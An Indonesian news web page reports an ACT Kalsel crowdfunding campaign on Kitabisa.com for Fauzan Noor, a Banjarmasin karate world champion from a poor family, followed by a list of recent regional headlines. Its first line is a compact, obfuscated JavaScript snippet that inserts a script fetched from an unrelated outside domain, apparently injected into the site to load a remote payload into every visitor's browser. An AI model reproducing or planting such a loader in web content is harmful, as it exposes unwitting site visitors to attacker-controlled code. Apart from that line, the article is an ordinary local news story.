(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

ACT Kalsel Galang Pengumpulan Dana Nitizen untuk Prestasi M Fauzan


BANJARMASIN, Berbagai apresiasi atas prestasi yang ditorehkan Fauzan Noor, yang memenangkan juara dunia karate tradisional di Praha awal tahun 2018 lalu terus mengalir. Salah satunya dari Aksi Cepat Tanggap (ACT) Kalsel yang menginisiasi pengumpulan dana dari nitizen melalui situs penggalangan dana Kitabisa.com dengan tajuk “Tali Cinta untuk Sang Juara”.

Gerakan ini ditargetkan dapat mengumpulkan dana sebesar Rp 50 juta yang akan diberikan kepada Fauzan demi meningkatkan terus prestasi dan kualitas hidupnya sebagai atlet beladiri. Apalagi, Fauzan dinilai telah berjasa memberi nama harum bagi Banua dan Indonesia.

“Setelah berjuang panjang mengharumkan nama Indonesia, Fauzan sangat layak kita beri apresiasi!” demikian pernyataan ACT dalam kampanye tersebut.

Sampai saat ini, dana yang terkumpul di Kitabisa.com baru mencapai Rp 150.520. Harapannya, nitizen dan warga Banua khususnya bisa ikut berpartisipasi dalam menyisihkan uang untuk membantu meningkatkan prestasi dan kelayakan hidup Fauzan.

Pekan kedua Juli lalu, Aksi Cepat Tanggap (ACT) Kalimantan Selatan (Kalsel) berkesempatan mengunjungi sang atlet. Namanya Fauzan. Anak muda kelahiran Banjarmasin 21 tahun yang lalu ini telah mengharumkan nama Indonesia di kancah dunia.

Fauzan, berbekal semangat untuk terus bertumbuh, ikut menjadi peserta kejuaraan dunia Karate Tradisional pada Januari 2018 lalu di Praha, Republik Ceko. Dan akhirnya berhasil menjadi juara utama. “Saya tak menyangka dengan kemenangan ini. Saya hanya ingin terus diberi kesempatan melatih diri,” ucapnya ditemui di kediamannya di Komplek Lambung Mangkurat 3 Banjarmasin, oleh tim ACT Kalsel Senin (16/7) siang.

Siapa sangka dibalik kesuksesan Fauzan, ada kendala yang mengiringinya. Betapa tidak, untuk berangkat ke Praha, ia dan sang pelatih Mustafa harus bersusah payah mencari pinjaman uang karena ketiadaan biaya. Padahal, Fauzan telah menjadi pemenang dalam kejuaraan serupa tingkat nasional pada 2017 lalu dan berhak menjadi perwakilan resmi di Praha.

Rencana keberangkatan dari panitia tak terlihat tanda-tandanya. Mustafa yang tahun sebelumnya juga telah menjuarai kejuaraan tersebut bertekad untuk memberangkatkan Fauzan bagaimanapun caranya. Ia lalu mencari sponsor dan pinjaman ke mana-mana.

Akhirnya, tiket keberangkatan didapatkan ditambah sedikit uang saku. Demi menghemat uang saku, Mustafa dan Fauzan membawa bekal ikan asin, telur, dan mi instan.

Fauzan adalah anak ketiga dari pasangan Adnan Firdaus (60) dan Jamariyah (56). Adnan Firdaus hanyalah seorang buruh bangunan dengan penghasilan tak menentu. Sedangkan Jamariyah adalah ibu rumah tangga yang sekali-kali menjadi tukang pijat dan lulur.

Fauzan telah menjadi atlet karate sejak kelas 3 SD dan telah memenangi berbagai kejuaraan dari tingkat provinsi hingga nasional. Hal ini dibuktikan dengan banyaknya piala dan medali yang telah Ia kumpulkan. Namun, semua itu tak selaras dengan kesejahteraan hidupnya. Kini, Ia hanya menjadi pekerja di sebuah toko retail di Kota Banjarmasin.

“Sebenarnya sudah pernah nyoba ikut tes polisi dan Satpol PP karena ada tawaran, namun ternyata tidak ada tindak lanjut hingga sekarang,” ucap Fauzan.

Prestasi-prestasi yang ia ukir atas nama Provinsi Kalimantan Selatan hingga bangsa Indonesia ternyata tak mampu mengangkat kualitas hidupnya. Fauzan dan kedua orang tuanya harus berpuas diri hidup dalam kesederhanaan. Rumah yang ditinggali puluhan tahun tampak tak pernah tersentuh renovasi. Di beberapa sudut terlihat kayunya mulai melapuk.

Meskipun demikian, Fauzan adalah pemuda yang pantang menyerah. “Selagi hidup maka maksimalkan. Waktu tidur lama nanti juga akan tiba saat kita mati,” ucapnya menirukan nasihat sang pelatih yang terus menerus diberikan kepadanya.

Layaknya Zohri, Fauzan adalah sosok putra bangsa yang berikhtiar mengharumkan nama Indonesia dengan prestasi dan karyanya. Melihat hal tersebut, ACT Kalsel mengajak sahabat kemanusiaan untuk mendukung/mengapresiasi Fauzan sebagai atlet berprestasi dengan cara : 1. Klik “DONASI SEKARANG” 2. Masukan nominal donasi 3. Pilih bank (BNI/BNI Syariah/Mandiri/BCA/BRI/Kartu Kredit) 4. Dapatkan laporan via email. Untuk melakukan donasi kepada M Fauzan dapat dilakukan melalui https://kitabisa.com/talicintajuara dengan cara di atas. (actkalsel)

Reporter: Actkalsel
Editor: Chell

Desy Arfianty

Recent Posts

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

35 menit ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

4 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

6 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

6 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

7 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

9 jam ago

This website uses cookies.